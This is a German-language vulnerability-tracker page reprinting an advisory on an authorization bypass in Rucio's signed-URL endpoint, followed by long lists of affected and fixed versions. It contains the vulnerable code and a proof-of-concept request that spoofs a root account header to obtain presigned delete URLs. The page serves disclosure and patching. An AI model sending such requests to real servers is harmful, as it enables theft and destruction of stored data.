p PatchFirst

CVE-2026-58273

CVE-2026-58273 · rucio has an Authorization Bypass on REST API endpoint for signing URLs

Diese Seite enthält Fakten aus öffentlichen Sicherheitsquellen. Lesen Sie vor dem Aktualisieren die Originalmeldung.

## Summary The `/credentials/signurl` endpoint decides authorization from the client-supplied `X-Rucio-Account` HTTP header instead of the authenticated token's account. Any client holding **any** valid auth token (even a low-privilege account they legitimately own) can send `X-Rucio-Account: root` to pass the root-only permission check and have the Rucio server mint a presigned **read / write / delete** URL for an **arbitrary** object, signed with the RSE's stored S3 / GCS / Swift credentials. ## Details `SignURL.get()` takes the authorization principal from a request header and never uses the token-authenticated identity: ```python # lib/rucio/web/rest/flaskapi/v1/credentials.py account = request.headers.get('X-Rucio-Account', default=None) # L165 (attacker-controlled) ... result = get_signed_url(account, rse=rse, service=service, # L194 operation=operation, url=url, lifetime=lifetime, vo=vo) ``` The gateway then uses that header value as the `issuer` for the permission check: ```python # lib/rucio/gateway/credential.py auth_result = permission.has_permission(issuer=account, vo=vo, # L57 action='get_signed_url', kwargs=kwargs, ...) ``` and the permission function is root-only: ```python # lib/rucio/core/permission/generic.py def perm_get_signed_url(issuer, kwargs, session): return _is_root(issuer) # _is_root(x) -> x.external == 'root' ``` `InternalAccount('root', vo).external == 'root'` unconditionally, so the gate passes whenever the header is `root`. The endpoint is on `AuthenticatedBlueprint`, whose `before_request` hook validates the token and sets `request.environ['issuer']` **from the token** — but nothing ever compares `X-Rucio-Account` to it: ```python # lib/rucio/web/rest/flaskapi/v1/common.py (request_auth_env) flask.request.environ['issuer'] = auth.get('account') # L168 (the real account; unused by SignURL) ``` This is anomalous: every other authenticated handler derives the account from `request.environ['issuer']`; `credentials.py` is the only one that trusts the header. Additionally, `core.credential.get_signed_url` never checks that the supplied `url`'s host/bucket belongs to the target RSE, so even a legitimate `root` caller gets an arbitrary-object signing oracle. In multi-VO the VO is also read from the `X-Rucio-VO` header, allowing cross-tenant targeting. ## Proof of concept Request (any valid token + spoofed account): ``` GET /credentials/signurl?rse=<cloudRSE>&svc=s3&op=delete&url=https://victim-bucket.s3.amazonaws.com/important/dataset.root HTTP/1.1 X-Rucio-Auth-Token: <any valid token, even a low-privilege account> X-Rucio-Account: root Accept: application/octet-stream ``` Response: `200 OK` with a presigned DELETE URL the attacker replays directly against the storage backend. ## Impact A low-privilege Rucio user can read, overwrite, and delete arbitrary objects on any cloud-backed (S3/GCS/Swift) RSE using the server's stored credentials — enabling data exfiltration, tampering, and destruction, and cross-tenant access in multi-VO deployments. ## Credit Reported by seankohjs. Found via static analysis + manual verification.

CVSS 8.8 · Hoch · Korrektur verfügbar

Veröffentlicht
Aktualisiert

Technologie-Stack: python

Betroffene Produkte und Versionen

  • rucio PyPI

    Softwareversionen
    • 1.16.1
    • 1.16.2
    • 1.16.3
    • 1.17.0
    • 1.17.1
    • 1.17.2
    • 1.17.2.post1
    • 1.17.5
    • 1.17.6
    • 1.17.6.post1
    • 1.17.6.post2
    • 1.17.7
    • 1.17.8
    • 1.17.8.post1
    • 1.17.8.post2
    • 1.18.0
    • 1.18.1
    • 1.18.3
    • 1.18.4
    • 1.18.5
    • 1.18.5.post1
    • 1.18.6
    • 1.18.6.post1
    • 1.18.7
    • 1.18.8
    • 1.18.8.post1
    • 1.18.9
    • 1.19.0.post2
    • 1.19.1
    • 1.19.3
    • 1.19.4
    • 1.19.4.post1
    • 1.19.4.post2
    • 1.19.5
    • 1.19.6
    • 1.19.7
    • 1.19.7.post1
    • 1.19.8
    • 1.20.0
    • 1.20.0rc1
    • 1.20.1
    • 1.20.1.post1
    • 1.20.10
    • 1.20.11
    • 1.20.12
    • 1.20.13
    • 1.20.14
    • 1.20.15
    • 1.20.16
    • 1.20.2
    • 1.20.3
    • 1.20.3rc1
    • 1.20.3rc2
    • 1.20.4
    • 1.20.4.post1
    • 1.20.4.post2
    • 1.20.4rc1
    • 1.20.4rc2
    • 1.20.4rc3
    • 1.20.5
    • 1.20.6
    • 1.20.7
    • 1.20.8
    • 1.20.9
    • 1.21.0
    • 1.21.0.dev1
    • 1.21.0.post1
    • 1.21.0.post2
    • 1.21.0rc1
    • 1.21.0rc2
    • 1.21.0rc3
    • 1.21.1
    • 1.21.10
    • 1.21.10.post1
    • 1.21.12
    • 1.21.2
    • 1.21.3
    • 1.21.4
    • 1.21.5
    • 1.21.6
    • 1.21.7
    • 1.21.8
    • 1.22.0
    • 1.22.0.dev1
    • 1.22.0.dev2
    • 1.22.0.dev3
    • 1.22.0rc1
    • 1.22.0rc2
    • 1.22.1
    • 1.22.2
    • 1.22.3
    • 1.22.3.post1
    • 1.22.4
    • 1.22.4.dev1
    • 1.22.6
    • 1.22.6.post1
    • 1.22.7
    • 1.22.8
    • 1.22.8.post1
    • 1.23.0
    • 1.23.0rc1
    • 1.23.0rc2
    • 1.23.1
    • 1.23.10
    • 1.23.11
    • 1.23.11.post1
    • 1.23.11.post2
    • 1.23.11.post3
    • 1.23.11.post4
    • 1.23.12
    • 1.23.13
    • 1.23.14
    • 1.23.15
    • 1.23.17
    • 1.23.18
    • 1.23.19
    • 1.23.2
    • 1.23.2.post1
    • 1.23.2.post2
    • 1.23.20
    • 1.23.4
    • 1.23.5
    • 1.23.5.post1
    • 1.23.6
    • 1.23.6.post1
    • 1.23.7
    • 1.23.7.post1
    • 1.23.8
    • 1.23.9
    • 1.23.9.post1
    • 1.23.9.post2
    • 1.23.9.post3
    • 1.23.9.post4
    • 1.24.0
    • 1.24.0rc1
    • 1.24.1
    • 1.24.1.post1
    • 1.24.1.post2
    • 1.24.1.post3
    • 1.24.1.post4
    • 1.24.2
    • 1.24.2.post1
    • 1.24.3
    • 1.24.3.post1
    • 1.24.4
    • 1.24.5
    • 1.24.5.post1
    • 1.25.0
    • 1.25.0rc1
    • 1.25.0rc2
    • 1.25.1
    • 1.25.1.post1
    • 1.25.2
    • 1.25.3
    • 1.25.3.post1
    • 1.25.3.post2
    • 1.25.4
    • 1.25.4.post1
    • 1.25.5
    • 1.25.6
    • 1.25.7
    • 1.26.0
    • 1.26.0rc1
    • 1.26.0rc2
    • 1.26.1
    • 1.26.1.post1
    • 1.26.10
    • 1.26.11
    • 1.26.12
    • 1.26.13
    • 1.26.14
    • 1.26.15
    • 1.26.16
    • 1.26.17
    • 1.26.18
    • 1.26.2
    • 1.26.4
    • 1.26.5
    • 1.26.6
    • 1.26.7
    • 1.26.7.post1
    • 1.26.8
    • 1.26.8.post1
    • 1.26.9
    • 1.27.0
    • 1.27.0.post1
    • 1.27.0rc1
    • 1.27.0rc2
    • 1.27.1
    • 1.27.10
    • 1.27.11
    • 1.27.12
    • 1.27.2
    • 1.27.3
    • 1.27.4
    • 1.27.4.post1
    • 1.27.5
    • 1.27.7
    • 1.27.9
    • 1.28.0
    • 1.28.0rc1
    • 1.28.0rc2
    • 1.28.1
    • 1.28.2
    • 1.28.3
    • 1.28.4
    • 1.28.5
    • 1.28.6
    • 1.28.7
    • 1.29.0
    • 1.29.0rc1
    • 1.29.0rc2
    • 1.29.1
    • 1.29.10
    • 1.29.11
    • 1.29.12
    • 1.29.13
    • 1.29.14
    • 1.29.15
    • 1.29.16
    • 1.29.17
    • 1.29.18
    • 1.29.19
    • 1.29.2
    • 1.29.2.post1
    • 1.29.2.post2
    • 1.29.3
    • 1.29.3.post1
    • 1.29.4
    • 1.29.5
    • 1.29.6
    • 1.29.7
    • 1.29.7.post1
    • 1.29.8
    • 1.29.9
    • 1.30.0
    • 1.30.0rc1
    • 1.30.0rc2
    • 1.30.0rc3
    • 1.30.1
    • 1.30.2
    • 1.30.3
    • 1.30.4
    • 1.30.5
    • 1.30.6
    • 1.30.7
    • 1.30.8
    • 1.31.0
    • 1.31.0rc1
    • 1.31.0rc2
    • 1.31.0rc3
    • 1.31.1
    • 1.31.2
    • 1.31.3
    • 1.31.4
    • 1.31.5
    • 1.31.6
    • 1.31.7
    • 32.0.0
    • 32.0.0rc1
    • 32.0.0rc2
    • 32.1.0
    • 32.2.0
    • 32.3.0
    • 32.3.1
    • 32.4.0
    • 32.5.0
    • 32.5.0.post1
    • 32.5.1
    • 32.6.0
    • 32.6.0.post1
    • 32.7.0
    • 32.8.0
    • 32.8.1
    • 32.8.2
    • 32.8.3
    • 32.8.4
    • 32.8.5
    • 32.8.6
    • 33.0.0
    • 33.0.0rc1
    • 33.0.0rc2
    • 33.0.0rc3
    • 33.1.0
    • 33.2.0
    • 33.2.1
    • 33.3.0
    • 33.4.0
    • 33.4.0.post1
    • 33.5.0
    • 33.6.0
    • 33.6.1
    • 34.0.0
    • 34.0.0rc1
    • 34.0.0rc2
    • 34.1.0
    • 34.2.0
    • 34.3.0
    • 34.4.0
    • 34.4.1
    • 34.4.2
    • 34.4.3
    • 34.5.0
    • 34.6.0
    • 35.0.0
    • 35.0.0rc1
    • 35.0.0rc2
    • 35.0.1
    • 35.1.0
    • 35.1.1
    • 35.2.0
    • 35.2.1
    • 35.3.0
    • 35.4.0
    • 35.4.1
    • 35.5.0
    • 35.6.0
    • 35.6.1
    • 35.7.0
    • 35.8.0
    • 35.8.1
    • 35.8.2
    • 35.8.3
    • 35.8.4
    • 35.8.5
    Betroffene Versionsbereiche
    • ECOSYSTEM: ≥ 1.16.1, < 35.9.0

    Auf 35.9.0 aktualisieren

  • rucio PyPI

    Softwareversionen
    • 36.0.0
    • 36.0.0.post1
    • 36.0.0.post2
    • 36.0.0rc1
    • 36.0.0rc2
    • 36.0.0rc3
    • 36.0.0rc4
    • 36.0.0rc5
    • 36.1.0
    • 36.2.0
    • 36.3.0
    • 36.4.0
    • 36.5.0
    • 37.0.0
    • 37.0.0rc1
    • 37.0.0rc2
    • 37.0.0rc3
    • 37.0.0rc4
    • 37.1.0
    • 37.1.0.post1
    • 37.2.0
    • 37.3.0
    • 37.4.0
    • 37.5.0
    • 37.6.0
    • 37.7.0
    • 37.7.1
    • 38.0.0
    • 38.0.0rc1
    • 38.0.0rc2
    • 38.0.0rc3
    • 38.1.0
    • 38.2.0
    • 38.3.0
    • 38.4.0
    • 38.5.0
    • 38.5.1
    • 38.5.2
    • 38.5.3
    • 38.5.4
    • 38.5.5
    Betroffene Versionsbereiche
    • ECOSYSTEM: ≥ 36.0.0rc1, < 38.6.0

    Auf 38.6.0 aktualisieren

  • rucio PyPI

    Softwareversionen
    • 39.0.0
    • 39.0.0rc1
    • 39.0.0rc2
    • 39.1.0
    • 39.2.0
    • 39.3.0
    • 39.3.1
    • 39.4.0
    • 39.4.1
    • 39.4.2
    • 40.0.0
    • 40.0.0rc1
    • 40.1.0
    • 40.1.1
    • 40.1.2
    • 40.2.0
    • 40.3.0
    • 40.4.0
    • 40.4.1
    • 40.4.2
    Betroffene Versionsbereiche
    • ECOSYSTEM: ≥ 39.0.0rc1, < 41.0.0rc1

    Auf 41.0.0rc1 aktualisieren

Originalquellen

Prüfen Sie Ihren Server →